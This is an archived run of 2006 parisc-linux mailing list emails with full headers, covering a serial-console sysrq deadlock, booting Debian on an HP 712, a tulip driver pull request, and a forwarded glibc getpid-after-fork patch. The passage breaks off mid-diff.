<br>&gt; &gt; Hi pa-ckers<br>&gt; &gt;<br>&gt; &gt; quick brain dump before going to bed:<br>&gt; &gt; 2.6.18-rc1-pa3<br>&gt; &gt; boot init=/bin/sh -- machine is alive<br>&gt; &gt; issue a sysrq h (help) -- machine is dead
<br>&gt; &gt;<br>mmm is there a dpkg containing this 'sysrq' cmd?</blockquote><div><br>There is none. It is a&nbsp; key combo. Over the serial line it is usually<br>initiated by a &lt;BRK&gt; signal + a character (see the sysrq.txt
 mentioned above).<br></div><br><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">&gt; &gt; happened to me on parisc and probably ia64 (have to double check the latter).
<br>&gt;<br>&gt; This is a known and incredibly annoying bug:&nbsp;&nbsp;serial console is broken<br>&gt; for sysrq.&nbsp;&nbsp;Alan Cox is currently trying to fix it, I believe.<br>&gt;<br>Is it this related:<br>--- snip ---<br>Author: Andrew Morton &lt;
<a href="mailto:akpm@osdl.org">akpm@osdl.org</a>&gt;<br>Date:&nbsp;&nbsp; Fri Jun 30 02:29:59 2006 -0700<br><br>&nbsp;&nbsp;&nbsp;&nbsp;[SERIAL] 8250: sysrq deadlock fix<br><br>&nbsp;&nbsp;&nbsp;&nbsp;Fix <a href="http://bugzilla.kernel.org/show_bug.cgi?id=6716">http://bugzilla.kernel.org/show_bug.cgi?id=6716
</a><br><br>&nbsp;&nbsp;&nbsp;&nbsp;Doing a sysrq over a serial line into an SMP machine presently deadlocks.</blockquote><div><br>Seems so.<br></div><br><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
&nbsp;&nbsp;&nbsp;&nbsp;Signed-off-by: Andrew Morton &lt;<a href="mailto:akpm@osdl.org">akpm@osdl.org</a>&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;Signed-off-by: Russell King &lt;<a href="mailto:rmk+kernel@arm.linux.org.uk">rmk+kernel@arm.linux.org.uk</a>&gt;<br>--- snip ---
<br><br>(ChangeLog-2.6.18-rc2)<br><br>if yes I tested on my n4k but unfortunately doesn't help for the smp pb:<br>after only 1 day and 22h of my stress test it still hanging in dump_stack<br>(I was hoping it could be the place where things went wrong too ;-( )
</blockquote><div><br>I doubt it, I don't know too much about kernel internals, but looking at the patch you can see it just adds a extra 'if' for the sysrq case, so it<br>shouldn't affect anything else ...<br><br><br>&nbsp;&nbsp;&nbsp; Max
<br></div></div>

------=_Part_26642_7238327.1154005787697--

--===============2103738440==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============2103738440==--



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "leandro asnaghi-nicastro" <leandro@con.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712 and booting.
Date: Fri, 28 Jul 2006 03:42:56 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <1429.10.80.1.1.1154072576.squirrel@turbine.brezh.nyet>
Reply-To: leandro@con.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624150 20645 80.91.229.3 (22 Nov 2014 02:42:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jul 2006 07:43:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 28 Jul 2006 09:43:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DF277D71F;
	Fri, 28 Jul 2006 01:43:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06208-04; Fri, 28 Jul 2006 01:43:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDD937D720;
	Fri, 28 Jul 2006 01:43:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFFC07D717
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 01:43:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06208-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 01:43:05 -0600 (MDT)
Original-Received: from mx6-1.spamtrap.magma.ca (mx6-1.spamtrap.magma.ca
	[209.217.78.144])
	by free.linux.hp.com (Postfix) with ESMTP id 926997D716
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 01:43:05 -0600 (MDT)
Original-Received: from mail3.magma.ca (mail3.internal.magma.ca [10.0.10.13])
	by mx6-1.spamtrap.magma.ca (8.13.1/8.13.1) with ESMTP id k6S7h08A028651
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 03:43:00 -0400
Original-Received: from def.con.ca (def.con.ca [216.138.220.69])
	by mail3.magma.ca (Magma's Mail Server) with ESMTP id k6S7gxrV003088
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 03:43:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by def.con.ca (Postfix) with ESMTP id 81658EC0AC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 03:42:59 -0400 (EDT)
Original-Received: from def.con.ca ([127.0.0.1])
	by localhost (turbine [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07492-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 03:42:56 -0400 (EDT)
Original-Received: from def.con.ca (turbine.brezh.nyet [10.80.1.8])
	by def.con.ca (Postfix) with ESMTP id 83ADAEC0AB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 03:42:56 -0400 (EDT)
Original-Received: from 10.80.1.1 (SquirrelMail authenticated user leandro)
	by turbine.brezh.nyet with HTTP;
	Fri, 28 Jul 2006 03:42:56 -0400 (EDT)
User-Agent: SquirrelMail/1.4.4
X-Priority: 3 (Normal)
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at def.con.ca
X-magma-MailScanner-Information: Magma Mailscanner Service
X-magma-MailScanner: Clean
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QYSDA+Fca2A7ubvDOHQy3PwyOWhhasce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23883

Howdy,

I have an HP 712 and decided to install Debian on it.  Followed the
instructions, got the SCSI CD-ROM to work, booted, installed it and then
it said that it had made the system bootable.  This, oddly enough, sent it
back to asking me for language.

I rebooted and the system still ended up looking for HPUX and then dumped
me into an ISL menu (if memory serves me correctly).  Read the entirety of
the FAQ but I can't seem to find a part explaining how to get the 712 to
use Debian and boot from it at start-up--unless of course I was looking
for something and it was right in front of my face with a different name.

Suggestions?  Do I need to reinstall it all over again?

Thanks for any help.
leandro


-- 
leandro asnaghi-nicastro - editor in chief - leandro@con.ca
capital of nasty electronic magazine - http://con.ca/
irc.con.ca #con / icq uin 889318 / msn msn@def.con.ca
You will pay for your sins.  If you have already paid,
please disregard this message.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712 and booting.
Date: Fri, 28 Jul 2006 20:21:52 +0200 (MEST)
Lines: 36
Approved: news@gmane.org
Message-ID: <200607281821.k6SILrwm014061@arbas.nms.ulrich-teichert.org>
References: <1429.10.80.1.1.1154072576.squirrel@turbine.brezh.nyet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624151 20647 80.91.229.3 (22 Nov 2014 02:42:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: leandro@con.ca
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jul 2006 18:24:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 28 Jul 2006 20:24:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFED67D703;
	Fri, 28 Jul 2006 12:23:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13482-02; Fri, 28 Jul 2006 12:23:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06DAB7D705;
	Fri, 28 Jul 2006 12:23:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C278F7D702
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 12:23:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13098-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 12:23:51 -0600 (MDT)
Original-Received: from arbas.nms.ulrich-teichert.org (unknown [62.214.76.109])
	by free.linux.hp.com (Postfix) with ESMTP id 9706C7D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Jul 2006 12:23:45 -0600 (MDT)
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6) with ESMTP id
	k6SILsQk014062; Fri, 28 Jul 2006 20:21:54 +0200
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6/Submit) id
	k6SILrwm014061; Fri, 28 Jul 2006 20:21:53 +0200
In-Reply-To: <1429.10.80.1.1.1154072576.squirrel@turbine.brezh.nyet>
X-Mailer: ELM [version 2.5 PL8]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KDuoEO4bbXBtrLqHPTQ2dhMqLyUmZYi1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23884

Hi,

>I have an HP 712 and decided to install Debian on it.  Followed the
>instructions, got the SCSI CD-ROM to work, booted, installed it and then
>it said that it had made the system bootable.  This, oddly enough, sent it
>back to asking me for language.

Which version of debian (sarge?), which kind of install (mini-iso & net,
full CD-install?). How much RAM?

>I rebooted and the system still ended up looking for HPUX and then dumped
>me into an ISL menu (if memory serves me correctly).  Read the entirety of
>the FAQ but I can't seem to find a part explaining how to get the 712 to
>use Debian and boot from it at start-up--unless of course I was looking
>for something and it was right in front of my face with a different name.
>
>Suggestions?  Do I need to reinstall it all over again?

Do you have more than one disk? Perhaps you're trying to boot from the
wrong one? Interrupt the boot process and type "search" on the prompt
to get all choices.

How does your partition layout looks like?

HTH,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de
Stormweg 24               |listening to: Cauchemar (Opration S)
24539 Neumuenster, Germany|Good Looks, Big Deal (Sweatmaster)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [git patches] tulip fixes from parisc-linux
Date: Sat, 29 Jul 2006 18:54:59 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <20060729225459.GA4835__4115.12003415755$1416624151$gmane$org@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624151 20649 80.91.229.3 (22 Nov 2014 02:42:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:31 +0000 (UTC)
Cc: netdev@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Valerie Henson <val_henson@linux.intel.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2006 22:55:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 30 Jul 2006 00:55:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67D6A7D6AB;
	Sat, 29 Jul 2006 16:55:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05453-01; Sat, 29 Jul 2006 16:55:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F9AA7D6A4;
	Sat, 29 Jul 2006 16:55:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9031B7D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Jul 2006 16:55:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04708-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Jul 2006 16:55:40 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 5FD667D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Jul 2006 16:55:40 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 33ED45840D0;
	Sat, 29 Jul 2006 18:55:39 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 978275840CF;
	Sat, 29 Jul 2006 18:55:38 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 26FF223E83;
	Sat, 29 Jul 2006 18:55:38 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13209-06; Sat, 29 Jul 2006 18:55:37 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id D0AF323E82;
	Sat, 29 Jul 2006 18:55:37 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 645F13B060; Sat, 29 Jul 2006 18:54:59 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NpKqIMBoa0Aovr6aejEzQFs3Njh6dM5X
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23885

Hi Val,

Sorry it took so long for me to get around to splitting
up the changes from the parisc-linux tree. But here
they finally are. This patchset has been running on a
variety of parisc and ia64 machines for quite some
time (several years...) without issue. Some of these
are more cosmetic changes than anything else.

Cheers,
	Kyle M.

The following changes since commit dc710afe95ee9b263ab593c11d86a684f1606872:
  Linus Torvalds:
        Merge branch 'upstream-linus' of master.kernel.org:/.../jgarzik/libata-dev

are found in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/kyle/tulip-2.6.git

Francois Romieu:
      [TULIP] Defer tulip_select_media() to process context

Grant Grundler:
      [TULIP] Fix PHY init and reset
      [TULIP] Print physical address in tulip_init_one
      [TULIP] Make tulip_stop_rxtx() failure case slightly more informative
      [TULIP] Clean tulip.h so it can be used by winbond-840.c
      [TULIP] Flush MMIO writes in reset sequence
      [TULIP] Fix IRQ/DMA race

Helge Deller:
      [TULIP] Fix section mismatch in de2104x.c

Thibaut Varene:
      [TULIP] Make DS21143 printout match lspci output

 drivers/net/tulip/21142.c       |    4 +-
 drivers/net/tulip/de2104x.c     |    6 +-
 drivers/net/tulip/interrupt.c   |    4 ++
 drivers/net/tulip/media.c       |   40 ++++++++++++++-
 drivers/net/tulip/timer.c       |   14 +++++
 drivers/net/tulip/tulip.h       |   43 ++++++++++++----
 drivers/net/tulip/tulip_core.c  |  102 +++++++++++++++++++--------------------
 drivers/net/tulip/winbond-840.c |   68 +++++++++-----------------
 8 files changed, 164 insertions(+), 117 deletions(-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: Fix getpid in new threads after fork
Date: Mon, 31 Jul 2006 14:26:58 -0400
Lines: 194
Approved: news@gmane.org
Message-ID: <119aab440607311126g3a55cb46g423df9b00f890a6a@mail.gmail.com>
References: <20060731161551.GA7926@nevyn.them.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624151 20653 80.91.229.3 (22 Nov 2014 02:42:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:31 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2006 18:27:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 31 Jul 2006 20:27:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02E457D6AF;
	Mon, 31 Jul 2006 12:27:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28946-05; Mon, 31 Jul 2006 12:27:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39A797D6B0;
	Mon, 31 Jul 2006 12:27:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A61387D672
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jul 2006 12:27:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28946-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jul 2006 12:27:00 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.169])
	by free.linux.hp.com (Postfix) with ESMTP id 1613F7D643
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jul 2006 12:26:59 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1027179ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jul 2006 11:26:58 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=G8hYgDnZbl252BR18ME1NjDCACJL0K2Wzcil3u8WhPQ6JsFZvjdBeLEqoozfnCgEn2ZePFlXk767H2ByTCNzFsVmhgofUDHmY1kB0iyGfILGrE/Orrfch3qSKcUuhR+EH+wSAtIUyO/4UkyngJUtzNiH9SQzJMD6Q3Xp5A+/G2o=
Original-Received: by 10.78.147.3 with SMTP id u3mr639533hud;
	Mon, 31 Jul 2006 11:26:58 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Mon, 31 Jul 2006 11:26:58 -0700 (PDT)
In-Reply-To: <20060731161551.GA7926@nevyn.them.org>
Content-Disposition: inline
X-Google-Sender-Auth: e57b0f742768a471
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: u3n3cYsYeWU7sreUfHVz4C05U3U4Nw8Z
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23886

Randolph,

Look familiar?

---------- Forwarded message ----------
From: Daniel Jacobowitz <drow@false.org>
Date: Jul 31, 2006 12:15 PM
Subject: Fix getpid in new threads after fork
To: libc-alpha@sourceware.org


I noticed a failure with thread cancellation after fork, which turned
out to be caused by the si_pid sanity check in sigcancel_handler.
The PID was stale.  This happened because the main program created a
thread, joined it, and then forked.  The cached thread was reused with
a stale PID.

Patch and testcase attached.  Tested on x86_64-pc-linux-gnu.

--
Daniel Jacobowitz
CodeSourcery

2006-07-31  Daniel Jacobowitz  <dan@codesourcery.com>

        * Makefile (tests): Run tst-getpid3.
        * allocatestack.c (__reclaim_stacks): Reset the PID on cached
        stacks.
        * tst-getpid3.c: New test.

Index: nptl/Makefile
===================================================================
RCS file: /cvs/glibc/libc/nptl/Makefile,v
retrieving revision 1.180
diff -u -p -r1.180 Makefile
--- nptl/Makefile       28 Mar 2006 04:13:27 -0000      1.180
+++ nptl/Makefile       31 Jul 2006 16:04:16 -0000
@@ -251,7 +251,7 @@ tests = tst-typesizes \
        tst-backtrace1 \
        tst-oddstacklimit \
        tst-vfork1 tst-vfork2 tst-vfork1x tst-vfork2x \
